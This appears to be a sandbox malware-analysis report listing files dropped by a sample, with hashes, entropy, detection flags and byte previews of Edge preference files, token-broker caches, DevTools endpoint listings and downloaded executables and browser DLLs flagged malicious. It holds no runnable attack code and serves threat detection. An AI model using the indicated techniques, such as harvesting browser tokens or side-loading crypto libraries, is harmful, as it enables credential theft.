C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aad4042f-c809-4c6d-a1a5-21e646410f31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44894
Entropy (8bit):	6.095911693261452
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWt+i1zNtM/UNYMm2sDpqhKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzURKtSmd6qE7lFoC
MD5:	525EB7013C7005D8E88EE7137E6E4174
SHA1:	DDCA50917C20088A4D31DD481F482A7AB240192D
SHA-256:	052E29A3D282897229C84DF36630603BD3B4DE29CDAA6E44A30EC4BE0249C768
SHA-512:	2568E1FF996397365DC72D8F073A8F1EF6E5822DACE1A42C34615B11FA5776A8D245093A0D587669EE1F98BA5F330B38C7E48E4630554E1D96E992FB92AD36EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\afc7dbfb-6733-4d64-a50c-4b7090a75b32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46355
Entropy (8bit):	6.088278083200721
Encrypted:	false
SSDEEP:	768:OMkbJrT8IeQcrQgxKlEx9i1zNtM/U9AyJhD3FytWLbQQkHX1hcCioxJDSgzMMd6X:OMk1rT8HRKmPUtL0THUFoxtSmd6qE7D
MD5:	DE02C7403679E7C54456E433B06FDFF3
SHA1:	E81754E4725E121D28D3B347B94C144FB008D8EF
SHA-256:	D405CF822727AF565C7EF50001BC6F4F7DE4D3FD73FACF7EBE660F41C2B7D161
SHA-512:	3046504EA493B5E7E6A875D04A890724228A801A96DADEB2BF01260EA08163176EC37F2C7FCA7B534A80DFC15089F7F8BA0BDC2AA3DDD92BD8C87F15ADDE5AD3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376308050354724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"d81d54b2-74dd-40a1-bfa1-bc6949b496b5"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731834455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bc7bb85c-9656-4828-846f-8c7cecbd6637.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44976
Entropy (8bit):	6.096146089685643
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWzK+i1zNtM/U9AyJhD3FytWKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOiRUtKtSmd6qE7lFoC
MD5:	89E72276782F91D9DD65081F6A243042
SHA1:	C43ECD142CA2E4EAAC460274228C89D490A215E7
SHA-256:	C865DF3A65BFF457FCBDEA89167E10109D12F1272C1B72087FCE5C22816511CF
SHA-512:	7BCD3FEC5A5E3A628F46E5775B8B1CC660FA19705C78E79966345FF04A466DECFD81871E475BB1382EF185BD88E37D1B86E93843E7FA8AE062FCC3C4B9B2C67D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f47a3918-eff6-4928-8315-3d8783e69f2e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46479
Entropy (8bit):	6.0879036436825755
Encrypted:	false
SSDEEP:	768:OMkbJrT8IeQcrQgmKlPx9i1zNtM/BAyJhD3FytWLbQQkHX1hcCioxJDSgzMMd6qo:OMk1rT8HGKtPJL0THUFoxtSmd6qE7D
MD5:	902CCAAABE06A493BD40B12C7891AFCE
SHA1:	2C8337DD3AB54CBBA9DB100499021F2F0009AA46
SHA-256:	DACF82C3373A150DDBE0050E00483262638A49ACAF44CD24EDE49DCA0A5DD43D
SHA-512:	E5ACB9207739D91803824FF4306A57D52537590BE4AB0773F9C417678E5F9EFEB1DB1ECD961387B2419B61A2D393DC2A60282C111B2DE9C7E31799552977FE1F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376308050354724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"d81d54b2-74dd-40a1-bfa1-bc6949b496b5"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731834455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8636286511080673
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx3xl9Il8uWe24Rac7htCox8a2zKB0d1rc:m+YOqFrf8aBBz
MD5:	0888462C37C2BFD08B5DB3AE4F07F1C8
SHA1:	1F0C8AB6C1C19CDD3B3ECD3AB02ED78DD88BC95F
SHA-256:	1411490138CE18FF9361123A6B5FEEAA107F1192AB2D7E097404A46D37FDC097
SHA-512:	2202844B19B60AC9182C9A91E83F7D07E128CE9CF57673F500FF931C0625E2E219E0622E41049AAE91D66AAAD7F3F60E6EFEC721EAB2637D5C335993523C5E62
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.O.D.R.h.N.g.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.X.o.5.F.b.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9936452231944304
Encrypted:	false
SSDEEP:	96:PY4uh+3GIVYN/HF8a/SYUiHQZ4uQXSc+wrMlpLyQ1:Puh+3GIVu/l7/SYUYQU+r
MD5:	98779EF5A66600CAF40B081D5DDB4B4E
SHA1:	83F57B9D5DCABB12F3F6095BC817CA549A4040BC
SHA-256:	A4FF7CE5C709B9A0B3019627ED81292EAA5F5473E0A4E8F884532AFCBA9985DF
SHA-512:	A802267F9B126D3F28F5E1B29A121125423118E6421AD1CAA14FA6CB6D1A1854B7DC55B7428BF6640A7E8A8935453EF35D67374CA8DDC27BA44E187B996F9FE5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.m.K.q.a.t.A.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.X.o.5.F.b.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.892060200882841
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xN2uxl9Il8uW0ach6BOqZHPuwB5lXcOw2ryd/vc:aX2KYtacSOiHWwflDrP
MD5:	DFAF340256FE086B22B422179201C794
SHA1:	F721E7B5CF1324B3E63A72A1B259A1FE87D2B198
SHA-256:	D65A5006CC7FA50FF4688F055D4536570840A4A391C01B4DA8FD0087494FDCE9
SHA-512:	0C727899502E7312FB5013F1E06CC224C9CCEAC3CE1B25B1D134C2915F3843148239D94E582628E5C77907CEE3BF950B1780A8815365188FEC70721988E7B83E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".y.K.A.6.m.6.F.X.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.X.o.5.F.b.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393621429996019
Encrypted:	false
SSDEEP:	96:6NnQSHQXNnQac86c/bQac6NnQY9QJNnQJdgEQVNnQcQWNnQADQNNnQ8wQCNnQ73h:6NYNjhNwNYAN1N1uNTmNu
MD5:	12FC8D6B274EF639CABA8312D6400C7A
SHA1:	58D8773B258307DA693F5BC8306556FC32AA3454
SHA-256:	AC44ECC7E2E7AD7D4DEB7C4D4729FE20C0B589E3C1EEAFBCC661228737483679
SHA-512:	49419F6263115D5FEAD9C324D3D3EE894AFA5086C4696BB89F3B6F13B18DD2D3FE6B497CDDB60A3A97A4E6D673B301A370D268D1508B6EA1A3AFB032916BF248
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/24621E35AB48E1854225F11CAE9D0F65",.. "id": "24621E35AB48E1854225F11CAE9D0F65",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/24621E35AB48E1854225F11CAE9D0F65"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A4B7D26CB7F07F217971000ABB910653",.. "id": "A4B7D26CB7F07F217971000ABB910653",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A4B7D26CB7F07F217971000ABB910653"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1797120
Entropy (8bit):	7.944013756517232
Encrypted:	false
SSDEEP:	24576:+DP5f8UrgoaGkkttK9MrbW7tHkHJ7yq14qASOqu6Qi6mkDLLV4XA+eLQdc1mZ:yxz8yttKGfKEHJ7yq14lLDDDVL
MD5:	A088750A78A264D0204488FE6BEC85D6
SHA1:	D7CC85364E6481188DE1912EE35692F09A126F44
SHA-256:	D165A92F40ED9C2EC60C492AB46E9632E740D1AF310215A6B464F82DD8418E21
SHA-512:	D00D35FFF97F54D304A8F70B6916902987795124E7AEFF103C248C2F7663BD61F8D9ED4985CEAE8556CFF308494C2063235AFF7285F0892BEA12850E802CA4EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$....... i...........@..........................Pi...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...pptkhitg.....@O......x..............@...oviucogm......i......D..............@....taggant.0... i.."...J..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.375550009563948
Encrypted:	false
SSDEEP:	48:SfNaoQ98QTEQ90fNaoQ0QOfNaoQ+2RQ+/fNaoQ/kVkO190UrU0U8Q/ke0:6NnQ98QTEQ9gNnQ0Q2NnQxQgNnQsOk0A
MD5:	EAF2F2A58408989E9A4F09E233E44AD4
SHA1:	25BB90DD85C768690FB80283EE6672669C4453E1
SHA-256:	B36D6D53F69EE831F63E842EAD0B0132DB8C668A6DF816D12A556B127F88ABCE
SHA-512:	36B0AE62AC4FF6D468870504AED2A700BCE89409006E56FC6D79FEAB65BCA997A2943DC1B198D214434A585A92B8393B7453C0A1A2848E9B020F34F7C25C471F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/49A6B42F701606B5B9E21E4AB1F6946A",.. "id": "49A6B42F701606B5B9E21E4AB1F6946A",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/49A6B42F701606B5B9E21E4AB1F6946A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2F4B00BC5A455D761DCD7B2375FCCE2B",.. "id": "2F4B00BC5A455D761DCD7B2375FCCE2B",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2F4B00BC5A455D761DCD7B2375FCCE2B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3281920
Entropy (8bit):	6.629890136086703
Encrypted:	false
SSDEEP:	49152:Aesu0P53wJn02fBEmwU0ZNW7NNKx3SVbt2/sZFLel:ou0R38npfBEX0t2EZF
MD5:	0491B56FD0D65497898F82CA52A7F2C8
SHA1:	7DB274D8822943774D09AEB93367A119E2FA4D82
SHA-256:	52F0F944EDCA5AC4CE7A27CE561277D28CF008874D4C701A0E79CCA534E8ED05
SHA-512:	ECFD958D922B58BF2BAA2887874FCDED9FAD9F41E6658B0B86EB05F374E77B5B56C569116285988E656ED31EE99F706E4E1E44ABDBAEAA42F7CAD278228AC075
Malicious:	true
